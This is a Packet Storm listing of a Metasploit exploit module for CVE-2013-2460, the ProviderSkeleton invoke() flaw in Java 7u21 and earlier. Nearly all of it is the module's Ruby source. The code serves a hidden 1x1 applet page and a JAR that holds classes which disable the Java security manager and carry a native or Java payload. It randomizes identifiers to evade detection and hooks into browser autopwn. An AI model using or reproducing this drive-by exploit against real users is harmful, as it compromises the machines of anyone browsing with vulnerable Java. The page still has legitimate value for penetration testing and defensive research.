Java Applet ProviderSkeleton Insecure Invoke Method

2013-06-2700:00:00
Adam Gowdiak
packetstormsecurity.com
0.968 High
EPSS
Percentile
99.6%
JSON
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({ :javascript => false })  
  
EXPLOIT_STRING = "Exploit"  
  
def initialize( info = {} )  
  
super( update_info( info,  
'Name' => 'Java Applet ProviderSkeleton Insecure Invoke Method',  
'Description' => %q{  
This module abuses the insecure invoke() method of the ProviderSkeleton class that  
allows to call arbitrary static methods with user supplied arguments. The vulnerability  
affects Java version 7u21 and earlier.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Adam Gowdiak', # Vulnerability discovery according to Oracle's advisory and also POC  
'Matthias Kaiser' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-2460' ],  
[ 'OSVDB', '94346' ],  
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2013-1899847.html'],  
[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/160cde99bb1a' ],  
[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-12.pdf' ],  
[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-61.zip' ]  
],  
'Platform' => [ 'java', 'win', 'osx', 'linux' ],  
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },  
'Targets' =>  
[  
[ 'Generic (Java Payload)',  
{  
'Platform' => ['java'],  
'Arch' => ARCH_JAVA,  
}  
],  
[ 'Windows x86 (Native Payload)',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
}  
],  
[ 'Mac OS X x86 (Native Payload)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_X86,  
}  
],  
[ 'Linux x86 (Native Payload)',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86,  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 18 2013'  
))  
end  
  
def randomize_identifier_in_jar(jar, identifier)  
identifier_str = rand_text_alpha(identifier.length)  
jar.entries.each { |entry|  
entry.name.gsub!(identifier, identifier_str)  
entry.data = entry.data.gsub(identifier, identifier_str)  
}  
end  
  
  
def setup  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "Exploit.class")  
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "ExpProvider.class")  
@provider_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "DisableSecurityManagerAction.class")  
@action_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
  
@exploit_class_name = rand_text_alpha(EXPLOIT_STRING.length)  
@exploit_class.gsub!(EXPLOIT_STRING, @exploit_class_name)  
  
super  
end  
  
def on_request_uri(cli, request)  
print_status("handling request for #{request.uri}")  
  
case request.uri  
when /\.jar$/i  
jar = payload.encoded_jar  
jar.add_file("#{@exploit_class_name}.class", @exploit_class)  
jar.add_file("ExpProvider.class", @provider_class)  
jar.add_file("DisableSecurityManagerAction.class", @action_class)  
randomize_identifier_in_jar(jar, "metasploit")  
randomize_identifier_in_jar(jar, "payload")  
jar.build_manifest  
  
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })  
when /\/$/  
payload = regenerate_payload(cli)  
if not payload  
print_error("Failed to generate the payload.")  
send_not_found(cli)  
return  
end  
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })  
else  
send_redirect(cli, get_resource() + '/', '')  
end  
  
end  
  
def generate_html  
html = %Q|  
<html>  
<body>  
<applet archive="#{rand_text_alpha(rand(5) + 3)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>  
</body>  
</html>  
|  
return html  
end  
  
end  
`
0.968 High
EPSS
Percentile
99.6%
JSON
Related for PACKETSTORM:122185